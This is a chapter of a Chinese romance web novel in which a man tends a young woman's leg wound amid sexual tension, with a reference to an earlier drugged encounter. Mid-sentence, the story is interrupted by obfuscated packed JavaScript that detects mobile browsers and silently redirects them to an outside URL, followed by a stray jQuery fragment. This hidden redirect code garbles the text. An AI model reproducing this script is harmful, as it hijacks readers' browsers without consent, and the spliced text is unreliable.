“你干什么?”林溪好像是受惊的兔子,面对沈昭霖的逼近,双手死死攥紧了裤腰。
“膝盖和腿也要上药。”沈昭霖声音沉哑。
“我,我自己来,我能够得着。”林溪的别过脸,耳根红得滴血。
沈昭霖没说话,只是静静地看着她。
林溪从小就怕被沈昭霖这样盯着看。她每次闯祸了,沈昭霖就会这样看着她,也不批评,也不说话。
过不了多久,她就会心虚,主动承认错误。
不过今天是例外,她觉得自己什么错都没有。林溪在心中暗暗给自己鼓劲,万万不能妥协了。
两个僵持了几分钟,沈昭霖终究先妥协,放软了声音:“好吧,你自己来,你会吗?”
林溪不但会,还很熟练。毕竟过去三年,生病或者是受伤,都是她自己上药。甚至更久远一些,爸爸还生病的时候,林溪跑前跑后,对这些事情熟悉的不行。
林溪拿过新的棉签,动作麻利地沾上药水。
沈昭霖看她那过分熟悉的动作,心口一疼。过去,她到底经历了多少受伤的时刻,才能这样熟练?
可是林溪的动作却顿住了,她抬头看着沈昭霖:“你,你把脸转过去。”
沈昭霖这次倒没有逗她,听话地转身直接进了卧室。
林溪见他走远,呼出一口气,开始卷起裤腿细细地擦着膝盖上的淤青和伤口。而后又拉开裤腰,顺着缝隙往下看,另一只手拿着沾有药水的棉签小心翼翼地从腰部伸进去,贴着大腿一点点擦着。
大腿根部的擦伤火辣辣地疼,她想加快动作,在沈昭霖回来之前全部涂完。
“嘶。”由于看不见位置,棉签重重戳到了伤口处,林溪痛得倒吸一口气,眼泪瞬间憋了出来。
就在这时,沈昭霖从卧室出来,手里拎着一套浅粉色的睡衣:“换上这套。”
林溪接过,进了卧室。
睡衣又是粉红色的。长袖上衣配短裤,上衣的帽子上还坠着两只长长的兔子耳朵。林溪看清了睡衣的设计,嘴角忍不住抽搐了一下。
林溪换好出来时,那双纤细匀称的大腿白的晃眼,毫无遮掩地暴露在空气中。
沈昭霖的喉结欺负了一下。他眯起眼,突然觉得让她换上这套睡衣是个错误的决定。
“坐下吧。”
“啊?”林溪一愣。
沈昭霖看着她笑了:“怎么最近脑子不好用了?不穿短裤怎么给你上药?”
随即大手一捞,直接将她按在沙发上,顺势将她的双腿捞起,放到自己膝头,拿过药箱。
林溪慌忙推拒说:“我已经上过药了。”
“上过了?你都要把伤口戳烂了。”沈昭霖指出林溪的小心思,语气带着一丝调侃,“刚刚急什么,我又不是没吃过你。”
嗯?刚刚是她听错了吗?他,他在说什么流氓话。林溪的大脑瞬间宕机。
没等她细想,冰凉的药液已经贴上了大腿根部。
“别夹了,**一点。”沈昭霖一本正经的脸上继续说着让人面红耳赤的话。
林溪难为情地又分开了一点点双腿,沈昭霖才看清。
那里的伤得不清,有一道约莫三厘米长的血口。周围的皮肤由于反复摩擦已经泛起了淤青。而林溪刚刚粗暴的擦药动作,更是直接戳进了伤口造成了二次伤害,此刻那周哦为正沁出细密的血珠。
沈昭霖的眉头深深皱起。
“怎么伤的?”
“翻车的时候,车上碎玻璃,被挂开了一道口子。”林溪小声嘟囔着,明明不是她的错,她总觉得在沈昭霖面前矮了一截。
这个伤口白天已经被医生处理过了。只是后面在观沧苑和韩念争执的时候,伤口在剧烈挣扎的过程中再次崩裂了。
这不是简单地能用棉签的伤口了。
沈昭霖戴上薄透明的消毒手套,指尖隔着乳胶按在伤口周围,每一个动作都专业且克制。
可偏偏是这种正儿八经的触碰,让林溪觉得周围的空气都烧了起来。明明隔着手套,她却觉得那股属于男人的体温正一点点渗进她的肌肤,带起一阵阵战栗的电流。
她低着头,红得像只煮熟的虾子,只能拼命掐着掌心分散注意力。身体仿佛承受不住疼痛似的轻轻颤抖。
不知道沈昭霖是不是故意的,上药的过程极其缓慢。直到林溪快要忍不住推开他时,终于听到一声天籁之音:“好了。”
她抬起头,眼睛湿漉漉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304148|195173||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的:“这次是真的好了吗?全部上好了?”她可经不起再这样来一次。
“嗯。”
“那,那我回去了。”林溪作势站起身逃跑。
“回去?回哪里?”沈昭霖攥住她的手腕,似笑非笑地挑眉,“答应我的事情,你不会是想赖账吧?”
林溪哑然,原来沈昭霖还没忘记“陪他睡觉”的事情。
她的脸瞬间红到了脖子根,结结巴巴道:“没,没忘。”
“那你先去床上等我,我洗个澡就来。”沈昭霖说完也不看林溪,走进浴室。
浴室传来水声,那水声此时正淋在沈昭霖的身上。
林溪呆坐在床上,静静地听着水声。脑海中闪过一个又一个画面。
那天晚上,她因为中药脑子混沌,顺着身体的本能就往沈昭霖身上靠。那晚的细节她并没有太多的印象。只记得她抓着沈昭霖的背脊,手下的触感是硬邦邦的肌肉。而那种被彻底掌控的快感好像依然残留在她身体。
如今,她清醒着,看沈昭霖的样子,怕是今晚逃不过了。
她有些无措,有些紧张。
等了一个小时,沈昭霖还没有出来。不知道在干什么。
林溪打了个哈欠,神经松下来就想睡觉。
两个小时后,沈昭霖在浴室终于发出一声压抑的低吼,随后淋浴的水声又响了起来。
他终于从洗手间走出来。
沈昭霖回到卧室,凝视着她的睡颜,眼底的情欲尽数化作了宠溺。
他又不是禽兽,林溪过去短短时间经历了那么多,他怎么舍得还折腾她。他了解自己,一旦开荤,三五个小时不能停。林溪肯定坚持不了这么久。
关了灯,沈昭霖掀开被角,小心翼翼地睡在林溪旁边,轻轻将人搂进怀里。
也许是感觉到了身体的热源,林溪迷迷糊糊地向他胸膛蹭过去,紧紧地抱住这个温暖的源头,仿佛下一秒就会丢失一样。
沈昭霖又是一阵闷哼,身体里好不容易压下的热潮又回来了。
“哥哥……”不知道梦见了什么,林溪翻了个身,从嘴里吐出这两个字。
沈昭霖听得神情柔和至极。
他垂头,沙哑着声音问:“喜欢哥哥吗?”